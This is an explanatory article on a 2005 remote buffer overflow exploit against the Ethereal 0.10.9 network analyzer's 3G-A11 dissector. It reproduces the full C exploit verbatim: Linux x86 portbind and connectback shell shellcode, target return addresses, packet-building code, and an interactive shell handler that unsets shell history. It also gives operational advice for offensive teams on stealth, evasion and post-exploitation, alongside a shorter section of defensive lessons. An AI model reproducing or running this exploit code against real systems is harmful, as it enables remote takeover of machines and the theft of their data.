Ethereal 0.10.9 '3G-A11' Remote Buffer Overflow Explained

Ethereal 0.10.9 '3G-A11' Remote Buffer Overflow Explained
What this paper is
This paper details a proof-of-concept exploit for Ethereal version 0.10.9 and earlier. The vulnerability lies within the CDMA2000 A11 protocol dissector, specifically when it processes Airlink records. This flaw allows for a stack-based buffer overflow, which can be triggered remotely. The exploit code provided aims to leverage this vulnerability to gain remote code execution on a vulnerable system.
Simple technical breakdown
The Ethereal network protocol analyzer has a bug in how it handles certain data packets related to the CDMA2000 A11 protocol. When it tries to decode a specific type of record ("Airlink records"), it doesn't check if the incoming data is too large for the buffer allocated on the program's stack.
An attacker can send a specially crafted packet that exploits this. This packet will contain more data than the buffer can hold, overwriting adjacent memory on the stack. The goal is to overwrite the return address, which is a pointer telling the program where to go back to after a function finishes. By overwriting this return address with the address of malicious code (shellcode) that the attacker also injects into the packet, the program will jump to and execute the attacker's code instead of returning normally.
The exploit code automates sending this malicious packet. It includes pre-defined shellcode that can either open a listening port on the target machine (portbind) or connect back to the attacker's machine (connectback), both of which can then be used to get a command shell.
Complete code and payload walkthrough
The provided C code is an exploit for Ethereal 0.10.9. Let's break down its components:
Shellcode Definitions
/*
* portbind, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
*/
char sc_portbind[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x66\xc7\x45\x16\xff\xff\x31"
"\xc0\x89\x45\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80"
"\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";
/*
* connectback, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
* slighty modified by Diego Giagio <dgiagio@irion.com.br>
*/
char sc_connectback[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x43\x66\xc7\x45\x16\xff\xff"
"\xc7\x45\x18\xc6\x51\x81\x64\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0"
"\x66\xcd\x80\x8b\x5d\x08\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";sc_portbind: This is a sequence of machine code (shellcode) designed to be executed on the target system. It's written for Linux x86 architecture.- It first sets up the necessary system calls for network operations.
- It then attempts to bind a TCP socket to a specified port on the target machine.
- Once bound, it listens for an incoming connection.
- When a connection is established, it executes
/bin/sh(a shell), giving the attacker a command prompt on the target. - The
\x31\xc0at the beginning isxor eax, eax, which zeroes out theeaxregister. This is a common way to start shellcode. - The sequence
\x2f\x62\x69\x6e\x2f\x73\x68is the ASCII representation of/bin/sh.
sc_connectback: This is another piece of shellcode, also for Linux x86.- It's similar to
sc_portbindbut instead of opening a port on the target, it initiates a connection back to the attacker's machine. - It requires the attacker to specify an IP address and port to connect to.
- Once the connection is made, it also executes
/bin/sh, providing a command shell. - The modification by Diego Giagio likely involves adjusting offsets or system call numbers for compatibility or specific functionality.
- It's similar to
Shellcode and Target Structures
typedef enum
{
SC_NULL = -1,
SC_PORTBIND = 1,
SC_CONNECTBACK = 2
} shellcode_type_t;
struct shellcode_t
{
int id;
shellcode_type_t type;
char *desc;
char *data;
int host_offset;
int port_offset;
};
struct shellcode_t shellcode_list[] =
{
{1, SC_PORTBIND, "portbind", sc_portbind, -1, 33},
{2, SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
{-1, SC_NULL, NULL, NULL, -1, -1}
};
struct target_t
{
int id;
char *desc;
long addr;
};
struct target_t target_list[] =
{
{1, "Slackware 10.1 - ethereal 0.10.9 from source", 0x0812d110},
{2, "Slackware 10.1 - tethereal 0.10.9 from source", 0x081f30d0},
{3, "Fedora Core 3 - ethereal 0.10.9 from rpm", 0x08117a80},
{4, "Fedora Core 3 - tethereal 0.10.9 from rpm", 0x08690ac0},
{4, "Gentoo 2004.3 - tethereal 0.10.9 from portage", 0x081c3d90},
{-1, NULL, -1}
};shellcode_type_t: An enumeration to distinguish between different types of shellcode (none, portbind, connectback).struct shellcode_t: This structure defines a shellcode.id: A unique identifier for the shellcode.type: The type of shellcode (fromshellcode_type_t).desc: A human-readable description.data: A pointer to the actual shellcode bytes.host_offset: The byte offset within thedatawhere the target host IP address needs to be patched (for connectback).-1if not applicable.port_offset: The byte offset within thedatawhere the target port number needs to be patched.
shellcode_list: An array ofstruct shellcode_tcontaining the defined shellcodes.- The
portbindshellcode hashost_offsetas-1because it doesn't need to embed the attacker's host IP. Itsport_offsetis 33. - The
connectbackshellcode hashost_offsetat 39 andport_offsetat 34, indicating where the attacker's IP and the port for the callback connection should be inserted.
- The
struct target_t: This structure defines a target system configuration.id: A unique identifier for the target.desc: A description of the target (OS, Ethereal version, installation method).addr: The calculated return address on the stack for this specific target configuration. This is crucial for overwriting the return pointer.
target_list: An array ofstruct target_tcontaining pre-defined targets with their corresponding return addresses. These addresses are specific to the Ethereal binary compiled on those particular systems.
Protocol Constants and Packet Building Blocks
#define PROTO_3G_A11_PORT 699
char proto_3g_a11_begin[] =
"\x01" // a11 message type - registration request
"\x0a" // flags
"\xff\xff" // lifetime 0000 to ffff
"\x00\x00\x00\x00" // home address
"\xf0\x00\xba\x00" // home agent addr - any addr
"\x00\x00\x00\x00" // care of addr - any addr
"\xde\xad\xbe\xef\xd0\x00\x00\x0d" // identification
"\x26" // ext type - CVSE_EXT
"\x00" // nada
"\xff\xff" // ext len
"\x00\x00\x00\x00" // vse vid
"\x01\x01" // vse apptype 0x0101
;
char proto_3g_a11_before_shellcode[] =
"\x1a" // radius vendor specific
"\xff" // len
;
char proto_3g_a11_before_retaddrs[] =
"\x1f" // radius ad-hoc
"\xfe" // len
;PROTO_3G_A11_PORT: Defines the standard port for the 3G-A11 protocol, which is 699.proto_3g_a11_begin: This is the initial part of the crafted UDP packet. It's designed to mimic a legitimate 3G-A11 registration request, but with specific values that will eventually lead to the buffer overflow. The comments explain the purpose of each byte.proto_3g_a11_before_shellcode: A small segment of the packet that precedes the injected shellcode. It likely helps in structuring the packet to be interpreted correctly by the vulnerable dissector.proto_3g_a11_before_retaddrs: A segment of the packet that comes after the shellcode and before the overwritten return addresses. This likely signals the end of the shellcode and the beginning of the padding and return address.
Helper Functions
find_shellcode_by_id/find_target_by_id: These functions iterate throughshellcode_listandtarget_listrespectively to find a specific entry based on its ID.parse_ip: Converts a dotted-decimal IP address string (e.g., "192.168.1.1") into a 32-bit integer representation suitable for network programming.sock_create,sock_udp_create,sock_tcp_create: Functions to create UDP and TCP sockets, configuring them with options likeSO_LINGERandSO_REUSEADDRfor better network behavior.sock_connect: Establishes a TCP connection to a specified host and port.sock_bind: Binds a TCP socket to a local address and port and starts listening for incoming connections.sock_accept: Accepts an incoming TCP connection on a listening socket. It usesselectto wait for a connection with a timeout.sock_disconnect: Closes a socket connection.sock_send_payload: This function is responsible for sending the crafted UDP packet to the target. It creates a UDP socket, connects it to the target's IP and thePROTO_3G_A11_PORT, sends the packet, and then disconnects.shell: This function handles the interactive shell session once a connection is established (either via portbind or connectback). It usesselectto multiplex between reading from the remote socket and reading from standard input (the attacker's keyboard), and writing to standard output.shell_portbind: Orchestrates the portbind attack. It first sends the UDP payload usingsock_send_payload. Then, it creates a TCP socket, connects to the target's port where the shellcode should have opened a listener, and if successful, callsshellto provide an interactive session. It includes a delay to allow the shellcode to start listening.shell_connectback: Orchestrates the connectback attack. It creates a TCP socket and binds it to a local port on the attacker's machine. This is where the target will connect back to. It then sends the UDP payload. After sending, it waits for the target to connect back usingsock_accept. If a connection is accepted, it callsshellfor the interactive session.prog_info: Prints the program's copyright and author information.usage: Displays how to use the exploit program, listing available targets, shellcodes, and required arguments.
Main Function (main)
int
main (int argc, char *argv[])
{
// ... (variable declarations) ...
while ((opt = getopt (argc, argv, "t:s:d:h:p:a:")) != EOF)
{
// ... (option parsing logic) ...
}
// ... (argument validation) ...
addr = target != NULL ? target->addr : addr;
// ... (shellcode patching logic) ...
/* copyright */
prog_info ();
/* some info */
printf ("[-] Using addr 0x%x\n", addr);
fflush (stdout);
/* build packet */
ptr_pkt = pkt;
memcpy (ptr_pkt, proto_3g_a11_begin,
sizeof (proto_3g_a11_begin));
ptr_pkt += sizeof (proto_3g_a11_begin) - 1;
memcpy (ptr_pkt, proto_3g_a11_before_shellcode,
sizeof (proto_3g_a11_before_shellcode));
ptr_pkt += sizeof (proto_3g_a11_before_shellcode) - 1;
/* shellcode */
memset (ptr_pkt, 0x90, 255); // NOP sled
ptr_pkt += 255 - shellcode_len - 2; // Adjust for NOPs and potential padding
memcpy (ptr_pkt, shellcode->data, shellcode_len);
ptr_pkt += shellcode_len;
memcpy (ptr_pkt, proto_3g_a11_before_retaddrs,
sizeof (proto_3g_a11_before_retaddrs));
ptr_pkt += sizeof (proto_3g_a11_before_retaddrs) - 1;
/* addrs */
for (i=0; i<254; i+=4)
{
ptr_pkt[i] = (addr & 0x000000ff);
ptr_pkt[i+1] = (addr & 0x0000ff00) >> 8;
ptr_pkt[i+2] = (addr & 0x00ff0000) >> 16;
ptr_pkt[i+3] = (addr & 0xff000000) >> 24;
}
ptr_pkt += 254;
/* calc packet len */
pkt_len = ptr_pkt - pkt;
switch (shellcode->type)
{
case SC_PORTBIND:
shell_portbind (dest, port, pkt, pkt_len);
break;
case SC_CONNECTBACK:
shell_connectback (host, port, dest, pkt, pkt_len);
break;
default:
/* NOT REACHED */
break;
}
return 0;
}- Argument Parsing: The
getoptfunction is used to parse command-line arguments. Users can specify:-t: Target ID fromtarget_list.-s: Shellcode ID fromshellcode_list.-d: Destination IP address of the vulnerable Ethereal instance.-h: Host IP address for connectback shellcode (attacker's IP).-p: Port number for either portbind or connectback.-a: A specific return address if the target is not in thetarget_list.
- Validation: The code checks for required arguments and ensures that either a target ID or a specific address is provided, but not both. It also validates the shellcode and destination.
- Shellcode Patching: If the selected shellcode requires it (i.e.,
host_offsetorport_offsetare not -1), the attacker's IP address and the chosen port are embedded directly into the shellcode bytes at the specified offsets. - Packet Construction:
- The
pktbuffer is initialized. proto_3g_a11_beginis copied intopkt.proto_3g_a11_before_shellcodeis copied.- A block of 255 bytes is filled with NOP (
\x90) instructions. This is a "NOP sled." The actual shellcode is then placed before the end of this NOP block. The calculation255 - shellcode_len - 2adjusts the position to place the shellcode, leaving space for the NOPs and some padding. The purpose of the NOP sled is to increase the chances of hitting the shellcode if the exact return address is slightly off, as execution will slide down the NOPs until it hits the shellcode. - The actual
shellcode->datais copied after the NOP sled. proto_3g_a11_before_retaddrsis copied.- A block of 254 bytes is filled with the target return address (
addr). This address is written in little-endian format (byte by byte, starting from the least significant byte). This is the crucial part that overwrites the legitimate return address on the stack. The loopfor (i=0; i<254; i+=4)writes the address four times, likely to ensure it overwrites the intended return address and potentially other critical stack data.
- The
- Execution: Based on the selected
shellcode->type, eithershell_portbindorshell_connectbackis called to send the crafted packet and initiate the exploit.
Code Fragment/Block -> Practical Purpose Mapping
sc_portbind[],sc_connectback[]: The actual machine code that will be executed on the target to gain a shell.shellcode_list[]: Defines available shellcodes, their types, and where to patch IP/port information.target_list[]: Pre-computed return addresses for specific Ethereal versions and OS configurations.PROTO_3G_A11_PORT: The target port for the Ethereal service.proto_3g_a11_begin,proto_3g_a11_before_shellcode,proto_3g_a11_before_retaddrs: Packet framing and structure elements to deliver the payload.memset (ptr_pkt, 0x90, 255);: Creates a NOP sled to increase exploit reliability.memcpy (ptr_pkt, shellcode->data, shellcode_len);: Injects the actual shellcode.ptr_pkt[i] = (addr & 0x000000ff); ...: Overwrites the return address on the stack with the attacker-controlled value.sock_send_payload(): Sends the crafted UDP packet to the target.shell_portbind(): Manages the portbind attack flow.shell_connectback(): Manages the connectback attack flow.shell(): Handles the interactive shell session.getopt(): Parses command-line arguments for user input.parse_ip(): Converts human-readable IP addresses to network byte order.
Practical details for offensive operations teams
- Required Access Level: Network access to the target system is required. The exploit targets a network service, so no local access is initially needed.
- Lab Preconditions:
- A vulnerable Ethereal installation (version 0.10.9 or earlier) is needed for testing. This can be set up in a virtual machine.
- The target system must be running Linux (x86 architecture) as specified by the exploit.
- Network connectivity between the attacker machine and the target machine is essential.
- For
connectbackshellcode, the attacker machine must be reachable from the target machine on the specified callback port. Firewalls on the attacker's side must allow incoming connections on this port. - For
portbindshellcode, the target machine's firewall must allow incoming connections on the specified port.
- Tooling Assumptions:
- The exploit is written in C and compiled using a standard C compiler (like GCC).
- The attacker machine needs a Linux environment to compile and run the exploit.
- The
objdumputility is mentioned in the comments for finding return addresses on new targets.
- Execution Pitfalls:
- Incorrect Return Address: The most common failure point. The
target_listcontains addresses for specific Ethereal versions and distributions. If the target system has a different Ethereal build, a different OS, or a different architecture, the provided addresses will be wrong, and the exploit will likely crash Ethereal or fail to execute the shellcode. The comments provide a method to find the correct address using core dumps. - Network Issues: Firewalls blocking UDP traffic to port 699 on the target, or blocking TCP connections for portbind/connectback.
- Ethereal Configuration: The vulnerability is in the dissector. If Ethereal is not configured to dissect the 3G-A11 protocol, or if the specific packet structure is not encountered, the vulnerability might not be triggered.
- Shellcode Compatibility: The shellcode is for Linux x86. It will not work on other architectures (e.g., x86-64, ARM) or operating systems (e.g., BSD, Windows).
- Packet Size Limits: While the exploit attempts to craft a packet, extremely restrictive network devices or Ethereal's own packet handling might interfere with oversized or malformed packets.
- ASLR/DEP: Modern systems have Address Space Layout Randomization (ASLR) and Data Execution Prevention (DEP), which would make this type of stack-based buffer overflow much harder to exploit by randomizing memory addresses and preventing code execution from data segments. This exploit is from 2005, before these protections were widespread.
- Incorrect Return Address: The most common failure point. The
- Tradecraft Considerations:
- Reconnaissance: Identifying the exact version of Ethereal and the operating system is critical. Using tools like Nmap with Ethereal-specific scripts or banner grabbing might be necessary.
- Payload Customization: For new targets, finding the correct return address is paramount. This involves debugging, core dump analysis, or using tools like
pattern_createandpattern_offset(though not explicitly mentioned in this paper, these are standard techniques). - Stealth: The exploit uses UDP to send the initial payload. UDP is connectionless and can be harder to detect than TCP, but the packet itself might still be logged. The subsequent TCP connection for shell access is more detectable.
- Evasion: The shellcode itself is relatively simple and might be detected by basic signature-based IDS/IPS. Obfuscation or custom shellcode might be needed for stealth.
- Post-Exploitation: Once a shell is obtained, the immediate next steps would involve privilege escalation if the Ethereal process was not running as root.
Where this was used and when
- Context: This exploit targets the Ethereal network protocol analyzer, a tool used for network traffic analysis. The vulnerability is in a specific protocol dissector (CDMA2000 A11). This means the exploit is most effective when Ethereal is actively running on a system and processing network traffic that includes these specific CDMA2000 A11 packets. It's less likely to be used against a general-purpose server unless Ethereal is installed and running on it for monitoring.
- Timeframe: The exploit was published on March 14, 2005. This indicates it was relevant around that period. Exploits of this nature, relying on simple stack overflows without modern memory protections, were common in the early to mid-2000s. Ethereal itself was later forked into Wireshark in 2006 due to development disputes.
Defensive lessons for modern teams
- Keep Software Updated: This is the most fundamental lesson. Running outdated software like Ethereal 0.10.9 is a significant risk. Regular patching and updates are crucial to fix known vulnerabilities.
- Network Segmentation and Firewalls: Restricting network access to services that don't need to be exposed externally is vital. Firewalls should be configured to only allow necessary traffic on specific ports. The CDMA2000 A11 protocol (port 699) is not a common internet-facing service, so restricting its access would be a good practice.
- Intrusion Detection/Prevention Systems (IDS/IPS): Modern IDS/IPS solutions can detect and block malformed packets or exploit attempts targeting known vulnerabilities. Signature-based detection for specific protocol dissector overflows, or anomaly-based detection for unusual packet structures, can be effective.
- Memory Protection Technologies:
- Address Space Layout Randomization (ASLR): Randomizes the memory addresses of key data areas, making it harder for attackers to predict where to jump to execute shellcode.
- Data Execution Prevention (DEP) / Non-Executable (NX) Bit: Marks memory regions as either data or executable. If an attacker tries to execute code from a data segment (like the stack in this exploit), DEP will prevent it.
- Stack Canaries: Small random values placed on the stack before the return address. If a buffer overflow overwrites the canary, the program detects it before returning and aborts, preventing the exploit.
- Secure Coding Practices: Developers must rigorously validate input sizes and types to prevent buffer overflows. Static and dynamic analysis tools can help identify such vulnerabilities during development.
- Principle of Least Privilege: Running applications like network analyzers with elevated privileges (e.g., root) increases the impact of a compromise. If Ethereal were running as a non-privileged user, even a successful exploit would grant limited access.
ASCII visual (if applicable)
This exploit relies on overwriting the stack. A simplified representation of the stack during function execution and the exploit's impact can be visualized.
+---------------------+
| Stack |
+---------------------+
| ... |
| Function Arguments |
+---------------------+
| Return Address | <--- Exploit overwrites this
+---------------------+
| Saved Frame Pointer |
+---------------------+
| Local Variables |
| (e.g., buffer) | <--- Buffer overflow occurs here
+---------------------+
| ... |
+---------------------+Normal Execution Flow:
- A function is called.
- Its local variables and buffer are allocated on the stack.
- The return address (where to go back after the function finishes) is pushed onto the stack.
- The function executes.
- When the function finishes, it pops the return address from the stack and jumps to it.
Exploit Scenario:
- The vulnerable function is called.
- A buffer is allocated on the stack.
- The attacker sends a malformed packet that causes the dissector to write more data into the buffer than it can hold.
- This overflow overwrites the saved frame pointer and, critically, the Return Address.
- The attacker's shellcode is also injected into the packet, typically within the overflowed buffer or adjacent memory.
- When the function attempts to return, it reads the overwritten Return Address, which now points to the attacker's shellcode.
- The program jumps to and executes the shellcode.
Source references
- Exploit-DB Paper ID: 878
- Paper Title: Ethereal 0.10.9 (Linux) - '3G-A11' Remote Buffer Overflow
- Author: Diego Giagio
- Published: 2005-03-14
- Keywords: Linux, remote
- Paper URL: https://www.exploit-db.com/papers/878
- Raw Exploit Code URL: https://www.exploit-db.com/raw/878
Original Exploit-DB Content (Verbatim)
/*
* Ethereal 0.10.9 and below proof-of-concept remote root exploit
* (c) 2005 Diego Giagio <dgiagio@irion.com.br>
*
* The CDMA2000 A11 protocol dissector (packet-3g-a11.c) has a stack overflow
* vulnerability when decoding Airlink records. This vulnerability was also
* discovered by Diego Giagio on 01/March/2005. The vendor was imediatelly
* contacted.
*
*
* Notes:
*
* This program has only been tested on Linux.
*
* If your system isn't on the target list and you are running Linux (x86), you
* can easily find your system's ret address. See below:
*
* First you need to force Ethereal dump a core file.
* bash$ ./ethereal-g3-a11 -a 0xdeadbeef -s 1 -d <your_machine_ip> -p 65535
*
* Then, use the script below to find the ret address from the core file:
* --snip--
* #!/bin/sh
*
* ADDR=`objdump -D -s core | \
* grep "90909090 90909090 90909090 90909090" | \
* head -2 | tail -1 | awk '{print 0x$1}'`
* echo "Address: 0x$ADDR"
* --snip--
*
* Use that address with the -a <address> option. Good luck.
*
*
* Greets:
*
* ttaranto, eniac, rogbas, pjoppert, skylazart, cync, runixd,
* surfer, setnf, cbc, SUiCiDE, _hide, Codak, dm_, nuTshell
*
* #buffer@ircs.ircsnet.net
*
*/
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
/*
* portbind, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
*/
char sc_portbind[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x66\xc7\x45\x16\xff\xff\x31"
"\xc0\x89\x45\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80"
"\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";
/*
* connectback, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
* slighty modified by Diego Giagio <dgiagio@irion.com.br>
*/
char sc_connectback[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x43\x66\xc7\x45\x16\xff\xff"
"\xc7\x45\x18\xc6\x51\x81\x64\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0"
"\x66\xcd\x80\x8b\x5d\x08\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";
typedef enum
{
SC_NULL = -1,
SC_PORTBIND = 1,
SC_CONNECTBACK = 2
} shellcode_type_t;
struct shellcode_t
{
int id;
shellcode_type_t type;
char *desc;
char *data;
int host_offset;
int port_offset;
};
struct shellcode_t shellcode_list[] =
{
{1, SC_PORTBIND, "portbind", sc_portbind, -1, 33},
{2, SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
{-1, SC_NULL, NULL, NULL, -1, -1}
};
struct target_t
{
int id;
char *desc;
long addr;
};
struct target_t target_list[] =
{
{1, "Slackware 10.1 - ethereal 0.10.9 from source", 0x0812d110},
{2, "Slackware 10.1 - tethereal 0.10.9 from source", 0x081f30d0},
{3, "Fedora Core 3 - ethereal 0.10.9 from rpm", 0x08117a80},
{4, "Fedora Core 3 - tethereal 0.10.9 from rpm", 0x08690ac0},
{4, "Gentoo 2004.3 - tethereal 0.10.9 from portage", 0x081c3d90},
{-1, NULL, -1}
};
#define PROTO_3G_A11_PORT 699
char proto_3g_a11_begin[] =
"\x01" // a11 message type - registration request
"\x0a" // flags
"\xff\xff" // lifetime 0000 to ffff
"\x00\x00\x00\x00" // home address
"\xf0\x00\xba\x00" // home agent addr - any addr
"\x00\x00\x00\x00" // care of addr - any addr
"\xde\xad\xbe\xef\xd0\x00\x00\x0d" // identification
"\x26" // ext type - CVSE_EXT
"\x00" // nada
"\xff\xff" // ext len
"\x00\x00\x00\x00" // vse vid
"\x01\x01" // vse apptype 0x0101
;
char proto_3g_a11_before_shellcode[] =
"\x1a" // radius vendor specific
"\xff" // len
;
char proto_3g_a11_before_retaddrs[] =
"\x1f" // radius ad-hoc
"\xfe" // len
;
static int
find_shellcode_by_id (int id, struct shellcode_t **sc)
{
int i;
for (i=0; shellcode_list[i].id != -1; i++)
{
if (shellcode_list[i].id == id)
{
*sc = &shellcode_list[i];
return 0;
}
}
return -1;
}
static int
find_target_by_id (int id, struct target_t **target)
{
int i;
for (i=0; target_list[i].id != -1; i++)
{
if (target_list[i].id == id)
{
*target = &target_list[i];
return 0;
}
}
return -1;
}
int
parse_ip (const char *ipstr, long *ip)
{
int a, b, c, d;
if (sscanf (ipstr, "%d.%d.%d.%d", &a, &b, &c, &d) != 4)
return -1;
*ip = (d & 0x000000ff);
*ip |= (c & 0x000000ff) << 8;
*ip |= (b & 0x000000ff) << 16;
*ip |= (a & 0x000000ff) << 24;
return 0;
}
static int
sock_create (int type, int proto)
{
struct linger l;
int sock;
int sockopt;
int ret;
sock = socket (type, proto, 0);
if (sock < 0)
return -1;
l.l_onoff = 1;
l.l_linger = 0;
ret = setsockopt (sock, SOL_SOCKET, SO_LINGER, &l, sizeof (l));
if (ret < 0)
{
close (sock);
return -2;
}
sockopt = 1;
ret = setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
sizeof (sockopt));
if (ret < 0)
{
close (sock);
return -3;
}
return sock;
}
static int
sock_udp_create (void)
{
return sock_create (AF_INET, SOCK_DGRAM);
}
static int
sock_tcp_create (void)
{
return sock_create (AF_INET, SOCK_STREAM);
}
static int
sock_connect (int sock, long host, int port)
{
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
addr.sin_addr.s_addr = htonl (host);
if (connect (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;
return sock;
}
static int
sock_bind (int sock, long host, int port)
{
struct sockaddr_in addr;
memset (&addr, 0, sizeof (addr));
addr.sin_family = AF_INET;
addr.sin_port = htons (port);
addr.sin_addr.s_addr = htonl (host);
if (bind (sock, (struct sockaddr *)&addr, sizeof (addr)) < 0)
return -1;
if (listen (sock, 1) < 0)
return -1;
}
static int
sock_accept (int sock)
{
fd_set fds;
struct sockaddr_in addr;
struct timeval tv;
int new_sock;
int ret;
FD_ZERO (&fds);
FD_SET (sock, &fds);
tv.tv_sec = 10;
tv.tv_usec = 0;
ret = select (sock + 1, &fds, NULL, NULL, &tv);
if (ret < 0)
return -1;
if (ret == 0)
{
errno = ETIMEDOUT;
return -1;
}
if (FD_ISSET (sock, &fds))
{
int i = sizeof (addr);
new_sock = accept (sock, (struct sockaddr *)&addr, &i);
if (new_sock < 0)
return -1;
return new_sock;
}
return -1;
}
static void
sock_disconnect (int sock)
{
close (sock);
}
static int
sock_send_payload (long dest, int port, char *packet, int packet_len)
{
int sock;
/* create udp socket */
sock = sock_udp_create ();
if (sock_connect (sock, dest, PROTO_3G_A11_PORT) < 0)
return -1;
/* send packet */
send (sock, packet, packet_len, 0);
printf ("[-] UDP packet sent (%d bytes).\n", packet_len);
fflush (stdout);
/* disconnect socket */
sock_disconnect (sock);
return 0;
}
static void
shell (int sock)
{
fd_set fds;
char *cmd = "unset HISTFILE; /bin/uname -a; /usr/bin/id\n";
char buf [2048];
int n;
printf ("[-] Enjoy your shell\n");
printf ("\n");
send (sock, cmd, strlen (cmd), 0);
while (1)
{
FD_ZERO (&fds);
FD_SET (sock, &fds); /* socket */
FD_SET (0, &fds); /* stdin */
if (select (sock + 1, &fds, NULL, NULL, NULL) < 0)
break;
if (FD_ISSET (sock, &fds))
{
if ((n = recv (sock, buf, sizeof (buf), 0)) < 0)
{
perror ("[-] shell(): error reading from socket: recv()");
return;
}
if (n == 0)
break;
if ((write (1, buf, n)) < 0)
{
perror ("[-] shell(): error writing to stdout: write()");
return;
}
}
if (FD_ISSET (0, &fds))
{
if ((n = read (0, buf, sizeof (buf))) < 0)
{
perror ("[-] shell(): error reading from stdin: read()");
return;
}
if ((send (sock, buf, n, 0)) < 0)
{
perror ("[-] shell(): error writing to socket: send()");
return;
}
if (n == 0)
break;
}
}
printf ("[-] Connection closed.\n");
}
static void
shell_portbind (long dest, int port, char *packet, int packet_len)
{
int sock;
if (sock_send_payload (dest, port, packet, packet_len) < 0)
{
perror ("[-] Unable to send payload");
return;
}
sock = sock_tcp_create ();
if (sock < 0)
{
perror ("[-] Error creating socket");
return;
}
printf ("[-] Delaying 3 seconds before connection attempt (portbind).");
fflush (stdout);
sleep (1);
printf (".");
fflush (stdout);
sleep (1);
printf (".");
fflush (stdout);
sleep (1);
printf ("\n");
if (sock_connect (sock, dest, port) < 0)
{
perror ("[-] Unable to connect");
return;
}
shell (sock);
sock_disconnect (sock);
}
static void
shell_connectback (long host, int port, long dest,
char *packet, int packet_len)
{
int sock;
int new_sock;
sock = sock_tcp_create ();
if (sock < 0)
{
perror ("[-] Error creating socket");
return;
}
/* we bind before sending the payload to avoid not being
* listening when the connectback shellcode tries to connect
*/
if (sock_bind (sock, host, port) < 0)
{
perror ("[-] Unable to bind/listen");
return;
}
if (sock_send_payload (dest, port, packet, packet_len) < 0)
{
perror ("[-] Unable to send payload");
return;
}
printf ("[-] Waiting 10s for incoming connection (connectback)...\n");
fflush (stdout);
new_sock = sock_accept (sock);
if (new_sock < 0)
{
perror ("[-] Unable to accept connection");
return;
}
sock_disconnect (sock);
shell (new_sock);
sock_disconnect (new_sock);
}
static void
prog_info (void)
{
printf ("Ethereal 0.10.9 and below proof-of-concept remote exploit.\n");
printf ("(c) 2005 Diego Giagio <dgiagio@irion.com.br>\n");
printf ("\n");
}
static void
usage (const char *prog)
{
int i;
prog_info ();
printf ("Usage:\n");
printf (" [-] %s -t <target> -s <shellcode> -d <dest ip> "
"-h <host> -p <port>\n"
" [-] %s -a <addr> -s <shellcode> -d <dest ip> "
"-h <host> -p <port>\n", prog, prog);
printf ("\n");
printf ("Target:\n");
for (i=0; target_list[i].id != -1; i++)
{
printf (" [-] %d. %s, addr: 0x%x\n",
target_list[i].id, target_list[i].desc, target_list[i].addr);
}
printf ("\n");
printf ("Shellcode:\n");
for (i=0; shellcode_list[i].id != -1; i++)
{
